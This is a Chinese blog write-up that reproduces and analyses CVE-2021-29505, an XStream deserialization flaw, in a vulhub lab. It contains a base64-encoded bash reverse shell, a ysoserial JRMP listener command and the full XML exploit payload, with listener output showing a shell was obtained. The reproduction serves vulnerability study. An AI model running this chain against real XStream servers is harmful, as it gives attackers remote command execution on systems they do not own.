漏洞复现-Xstream(CVE-2021-29505)

已于 2022-06-01 11:48:37 修改
阅读量1.7k 收藏 3
点赞数 1
文章标签： 网络 安全 web安全
于 2022-06-01 11:02:59 首次发布
amingMM
本文链接：https://blog.csdn.net/qq_33608000/article/details/124981007
版权

Xstream

一、环境简介

XStream是一个Java对象和XML（JSON）相互转换的工具，很好很强大。
提供了所有的基础类型、数组、集合等类型直接转换的支持。
因此XML常用于数据交换、对象序列化
（这种序列化和Java对象的序列化技术有着本质的区别）。

优点：

使用方便 – XStream的API提供了一个高层次外观，以简化常用的用例。
无需创建映射XStream的API提供了默认的映射大部分对象序列化。
性能 – XStream快速和低内存占用，适合于大对象图或系统。
干净的XML – XStream创建一个干净和紧凑XML结果，这很容易阅读。
不需要修改对象 – XStream可序列化的内部字段，如私有和最终字段，支持非公有制和内部类。默认构造函数不是强制性的要求。
完整对象图支持 – XStream允许保持在对象模型中遇到的重复引用，并支持循环引用。
可自定义的转换策略 – 定制策略可以允许特定类型的定制被表示为XML的注册。
安全框架 – XStream提供了一个公平控制有关解组的类型，以防止操纵输入安全问题。
错误消息 – 出现异常是由于格式不正确的XML时，XStream抛出一个统一的例外，提供了详细的诊断，以解决这个问题。
另一种输出格式 – XStream支持其它的输出格式，如JSON。

二、 漏洞简介

XStream在解析XML文本时使用黑名单机制来防御反序列化漏洞，
但是其 1.4.16及之前版本黑名单存在缺陷。
攻击者可以操纵已处理的输入流并替换或注入对象，从而在服务器上执行本地命令。

三、漏洞复现

 ┌──(root💀amingMM)-[/home/…/Desktop/vulhub-master/xstream/CVE-2021-29505]
└─# docker-compose up -d

在这里插入图片描述

漏洞利用

nc 监听

nc -lvvp 1474

base64编码

bash -i>& /dev/tcp/172.16.7.204/1474 0>&1
 
YmFzaCAtaT4mIC9kZXYvdGNwLzE3Mi4xNi43LjIwNC8xNDc0IDA+JjE=

bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzE3Mi4xNi43LjIwNC8xNDc0IDA+JjE=}|{base64,-d}|{bash,-i}

ysoserial.jar

一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzE3Mi4xNi43LjIwNC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"

在这里插入图片描述

poc 打通经络

抓包

访问 127.0.0.1:8080 抓包并修改请求方式为POST
修改Content-Type为application/xml
在这里插入图片描述

添加poc内容到数据包

 <java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>172.16.7.204</string>
                                                <int>6666</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>172.16.7.204</host>
                                        <port>6666</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

在这里插入图片描述

重放数据包 得到500 response

在这里插入图片描述

RMI消息

┌──(amingmm㉿amingMM)-[~/Desktop]
└─$ java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzE3Mi4xNi43LjIwNC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
* Opening JRMP listener on 6666
Have connection from /172.21.0.2:40578
Reading message...
Is DGC call for [[0:0:0, 0]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /172.21.0.2:40580
Reading message...
Is DGC call for [[0:0:0, 0]]
Sending return with payload for obj [0:0:0, 2]
Closing connection

getshell

在这里插入图片描述

四、漏洞分析

Xstream如何将java对象序列化成xml数据

首先是两个简单的pojo类，都实现了Serializable接口并且重写了readObject方法

 import java.io.IOException;
import java.io.Serializable;
​
public class People implements Serializable{
    private String name;
    private int age;
    private Company workCompany;
​
    public People(String name, int age, Company workCompany) {
        this.name = name;
        this.age = age;
        this.workCompany = workCompany;
    }
​
    public String getName() {
        return name;
    }
​
    public void setName(String name) {
        this.name = name;
    }
​
    public int getAge() {
        return age;
    }
​
    public void setAge(int age) {
        this.age = age;
    }
​
    public Company getWorkCompany() {
        return workCompany;
    }
​
    public void setWorkCompany(Company workCompany) {
        this.workCompany = workCompany;
    }
​
    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        System.out.println("Read People");
    }
}


public class Company implements Serializable {
    private String companyName;
    private String companyLocation;
​
    public Company(String companyName, String companyLocation) {
        this.companyName = companyName;
        this.companyLocation = companyLocation;
    }
​
    public String getCompanyName() {
        return companyName;
    }
​
    public void setCompanyName(String companyName) {
        this.companyName = companyName;
    }
​
    public String getCompanyLocation() {
        return companyLocation;
    }
​
    public void setCompanyLocation(String companyLocation) {
        this.companyLocation = companyLocation;
    }
​
    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        System.out.println("Company");
    }
}

然后生成一个People对象，并使用Xstream对其进行序列化

 XStream xStream = new XStream();
People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));
String xml = xStream.toXML(people);
System.out.println(xml);

执行结果如下

 <com.XstreamTest.People serialization="custom">
  <com.XstreamTest.People>
    <default>
      <age>25</age>
      <name>xiaoming</name>
      <workCompany serialization="custom">
        <com.XstreamTest.Company>
          <default>
            <companyLocation>BeiJing</companyLocation>
            <companyName>TopSec</companyName>
          </default>
        </com.XstreamTest.Company>
      </workCompany>
    </default>
  </com.XstreamTest.People>
</com.XstreamTest.People>

如果两个pojo类没有实现Serializable接口则序列化后的数据是以下这个样子

 <com.XstreamTest.People>
  <name>xiaoming</name>
  <age>25</age>
  <workCompany>
    <companyName>TopSec</companyName>
    <companyLocation>BeiJing</companyLocation>
  </workCompany>
</com.XstreamTest.People>

分析直接写代码用Xstream解析poc

创建maven项目，引入XStream

在这里插入图片描述
主函数里定义xml调用Xstream解析poc

 import com.thoughtworks.xstream.XStream;

public class Main {

    public static void main(String[] args) {
        String xml ="<sun.rmi.registry.RegistryImpl_Stub serialization=\"custom\"> \n" +
                "  <java.rmi.server.RemoteObject> \n" +
                "    <string>UnicastRef</string>  \n" +
                "    <string>127.0.0.1</string>  \n" +
                "    <int>8001</int>  \n" +
                "    <long>0</long>  \n" +
                "    <int>0</int>  \n" +
                "    <long>0</long>  \n" +
                "    <short>0</short>  \n" +
                "    <boolean>false</boolean> \n" +
                "  </java.rmi.server.RemoteObject> \n" +
                "</sun.rmi.registry.RegistryImpl_Stub>";
        // write your code hereXStream xstream = new XStream();;
        XStream xstream = new XStream();
        xstream.fromXML(xml);
    }
}

XStream产生漏洞的主要问题就在于：

XStream在处理
实现Serializable接口和没有实现Serializable接口的类
生成的对象时，方法是不一样的
在TreeUnmarshaller类的convertAnother方法处下断点，如下图所示
在这里插入图片描述
这里会获取一个converter，中文直译为转换器，
Xstream的思路是通过不同的converter来处理序列化数据中不同类型的数据，
我们跟进该方法看看在处理最外层的没有实现Serializable接口的People类时用的是哪种converter
在这里插入图片描述
从执行的结果中可以看到最终返回一个ReflectionConverter，
当然不同的类型在这里会返回不同的Converter，

这里仅仅只是处理我们自定义的未实现Serializable接口的People类时使用ReflectionConverter，
该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值，

那如过是处理实现了Serializable接口并且重写了readObject方法的People类时会有什么不一样呢？
在这里插入图片描述

更换序列化后的数据，在同样的位置打上断点，会发现这里处理People的Converter由ReflectionConverter变成了，SerializableConverter。

尝试在People类的readObject类处打上断点
在这里插入图片描述
执行过程中居然调用了我们重写的readObject方法，此时的调用链如下
在这里插入图片描述
会调用readObject方法的话，那此时我们的思路应该就很清晰了，
只需要找到一条利用链，就可以尝试进行反序列化攻击了

当处理此种类型的xml（即实现了Serializable接口的类）时，
会调用到该类的readObject方法

 <java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>75g7ep.dnslog.cn</string>
                                                <int>1099</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>75g7ep.dnslog.cn</host>
                                        <port>1099</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

看到入口点与CVE-2021-21344、CVE-2021-21345等相同为：java.util.PriorityQueue
经典的CommonCollections利用链中有几个就用到了PriorityQueue。
在该类的readObject函数打下断点，调试执行

在这里插入图片描述

通过s.readObject()
走到XStram中的readObjectOverride函数

在readFromStream方法中获取javax.naming.ldap.Rdn$RdnEntry()方法

对应xml中的相应节点
在这里插入图片描述

经过一些调试走过一系列的嵌套调用。来到调用JRMP的关键类sun.rmi.registry.RegistryImpl_Stub
在这里插入图片描述

同样在readObject函数打下断点。因为该类的readObject继承自爷爷类RemoteObject。
在这里实例化UnicastRef对象，然后调用UnicastRef对象的readExternal方法
在这里插入图片描述

在这里插入图片描述

最终实际调用的代码如下最终在这里进行远程rmi调用
在这里插入图片描述

 <sun.rmi.registry.RegistryImpl_Stub serialization="custom"> 

  <java.rmi.server.RemoteObject> 

    <string>UnicastRef</string>  

    <string>127.0.0.1</string>  

    <int>8001</int>  

    <long>0</long>  

    <int>0</int>  

    <long>0</long>  

    <short>0</short>  

    <boolean>false</boolean> 

  </java.rmi.server.RemoteObject> 

</sun.rmi.registry.RegistryImpl_Stub>

简化版poc的调用方式就是直入关键类

sun.rmi.registry.RegistryImpl_Stub跳过了一大段的嵌套调用

amingMM
关注
  • 1
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
博客
红队系列-网络安全知识锦囊(持续更新)
11-09 707
AJP13是定向包协议。因为性能原因，使用二进制格式来传输可读性文本。AJP协议：WEB服务器通过TCP连接和SERVLET容器连接。为了减少进程生成socket的花费，WEB服务器和SERVLET容器之间尝试保持持久性的TCP连接，对多个请求/回复循环重用一个连接。一旦连接分配给一个特定的请求，在请求处理循环结束之前不会在分配。换句话说，在连接上，请求不是多元的。这个是连接两端的编码变得容易，虽然这导致在一时刻会有很多连接。
博客
Python AI股票自动化量化交易经济金融市场分析（每日更新）
10-14 2007
一种基于量化分析（Quantitative Analysis）的交易方式。量化交易需要三大技能： 数学功底、编程技能、金融知识。网上有种说法，从事量化交易需要的知识比重如下：计算机-金融-数学,知识比重为1-3-6。
博客
微服务和VUE入门教程(16)： zuul 熔断
07-20 411
1. 前言在开发工程中，我们发现当一个微服务挂掉之后，如果我们访问此微服务的接口，zuul也会挂掉。因为zuul负责分配请求，当目标微服务挂掉之后，zuul便找不到目标微服务，因为我们需要设置一个熔断，即使寻找不到目标微服务，zuul也不会挂掉。比如我们停掉my-user微服务，然后访问其中的一个接口，zuul会出现以下错...
博客
sqlback@memeware.net].2700勒索病毒
06-05 401
该病毒具有持续性威胁，可加密文件并窃取敏感信息。继续潜伏在计算机系统中，构成一种持续的威胁。受害者即使支付了赎金，也可能无法完全摆脱病毒的困扰。支付了赎金并获得了解密密钥，也不能保证病毒已经完全清除。病毒可能仍然隐藏在系统的某个角落，等待合适的时机再次发作。国内知名制造企业“明日科技”的IT部门突然接到了紧急通知，公司的服务器疑似遭受了未知病毒的攻击。技术人员迅速登录服务器进行检查，发...
博客
uniapp中Tabbar底部导航栏
06-05 356
pages.json 中tabBar字段{ "pages": [ //pages数组中第一项表示应用启动页，参考：https://uniapp.dcloud.io/collocation/pages { "path": "pages/index/index", "style": { "navigationBarTitleTe...
博客
uniapp中动态首页的实现
06-05 389
<Page :items="items" /><template> <block v-if="item.type === 'banner'"> <Banner :itemStyle="item.style" :params="item.params" :dataList="item.data" /> </bloc...
博客
shellcode bypass免杀集合
06-05 323
https://blog.csdn.net/qq_33608000/article/details/134369237这篇文章陆续更新统计收集经过测试的一些免杀知识东拼西凑还是可以免杀的主要还是一些思路和知识点欢迎收藏交流...
博客
溯源应急反制
06-05 209
刚写了溯源应急反制的文章大融合持续更新可作为笔记参考过来看看吧https://blog.csdn.net/qq_33608000/article/details/134306443我的博客一起来玩
博客
渗透测试红队信息收集大全
06-05 410
在写工具(造轮子)的时候遇到的有关信息收集一些概念和思路关于自动化信息收集小伙伴们喜欢的可以一起聊一聊文章持续更新感谢收藏和关注https://blog.csdn.net/qq_33608000/article/details/134069500...
博客
PHP_CMS系统代码解析-wordpress
06-05 362
WordPress是使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把 WordPress当作一个内容管理系统(CMS)来使用。模板基本文件使用模板通过函数的调用，让模板之间形成完整的整体。style.css : CSS(样式表)文件index.php : 主页模板archive.php : Archive/Category模板...
博客
机器学习与量化交易 分类任务
06-05 549
> Julyedu.com 感谢 白嫖的 七月在线 专注数据领域的在线教育01 自动化交易综述时间序列分析策略建模及其优化方法策略评价与回测风险管理交易策略的实现交易策略的执行BP(Back Proppagation)算法误差反向传播(Error Back Propagation, BP)算法。学习过程由信号的正向传播与误差的反向传播两个过程组成。Algorithmic Tra...
博客
vue-i18n国际化多国语言
06-03 315
uniapp是自带有i18n这个插件需要自己去给每一个需要国际化的字符去手动配置key，所以如果是已经完成的项目可能工作量就稍微有点大了第一步：语言命名是有规范的不能乱取名，具体可以参考国际语言代码https://blog.csdn.net/weixin_44988005/article/details/113826664https://blog.csdn.net/hcx_2008/a...
博客
雷池waf功能代码剖析
05-31 292
看到他们发文章​-动态防护功能？了解一下具体是什么功能就是处理了一下 html 和 js看一下雷池代码的 构成是 后台的代码Go 语言使用Gin框架启动一个API服务器...
博客
红队专题-渗透工具-hydra爆破神器
03-15 649
主要步骤讲完后，下面来看看整个代码，看如何用shell程序将这些串起来。当然，能否破解成功，有一个好用的工具固然重要，但还需要一个强健的密码本。grep “host:”用来过滤打印的输出，只输出破解到密码的条目。第二步为，读取22-output.txt文件中开放22端口的主机，这条命令的含义是采用密码本./password.txt中的密码，因此，在shell中写了一个循环，hydra一次任务结束后，遍历代码很简单，不用惊讶，这就是shell脚本的神奇之处。对一个网段的扫描，也可以换成一个IP。
博客
漏洞复现-H3C系列
03-15 940
H3C用户自助服务平台是一种基于云计算和自动化技术的管理平台，旨在提供自助式、智能化的网络设备和服务管理解决方案。该平台通过集成多种功能和工具，帮助企业用户更高效地管理和维护其网络设备，并提供更好的用户体验。H3C用户自助服务平台dynamiccontent.properties.xhtml接口处存在命令执行漏洞，未经身份验证的攻击者可以利用此漏洞执行任意指令，写入后门文件，导致整个web服务器存在被控的风险。
博客
漏洞复现-红帆OA系列
03-15 1275
红帆OA--------------------------------------------fofa:app=“红帆-ioffice”
博客
漏洞复现-宏景HJSOFT系列
03-15 1299
宏景HCM--------------------------------------------fofa:app=“HJSOFT-HCM”
博客
漏洞复现-海康威视系列
03-15 496
综合安防系统是一款功能强大的综合性管理平台，其特点是视频监控与门禁一卡通的深度融合，海康的系统在系统中大量存在，出于学习的目的，通过授权测试对象对该漏洞进行研究和复现。自查方式：通过发送前文提到的漏洞探测数据包，观察返回的状态码为200，并且提示token empty!字样则可能存在漏洞，需要及时排查修复。修复建议：关闭互联网暴露面访问的权限，文件上传模块做好权限强认证。海康威视综合安防系统 iVMS-8700。海康威视综合安防系统iVMS-5000。
博客
漏洞复现-大华dahua系列
03-15 486
大华智慧园区综合管理平台是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。该平台旨在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。大华智慧园区综合管理平台devicePoint_addImgIco存在文件上传漏洞，攻击者利用该漏洞可以获取服务器权限。app=“dahua-智慧园区综合管理平台”
博客
漏洞复现-金和OA系列
03-14 1070
|| banner=“Path=/jc6”金和OA协同办公管理系统C6软件（简称金和OA），本着简单、适用、高效的原则，贴合企事业单位的实际需求，实行通用化、标准化、智能化、人性化的产品设计，充分体现企事业单位规范管理、提高办公效率的核心思想，为用户提供一整套标准的办公自动化解决方案，以帮助企事业单位迅速建立便捷规范的办公环境。app=“金和网络-金和OA”||body=“/jc6/platform/sys/login”请联系厂家 http://www.jinher.com/升级。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值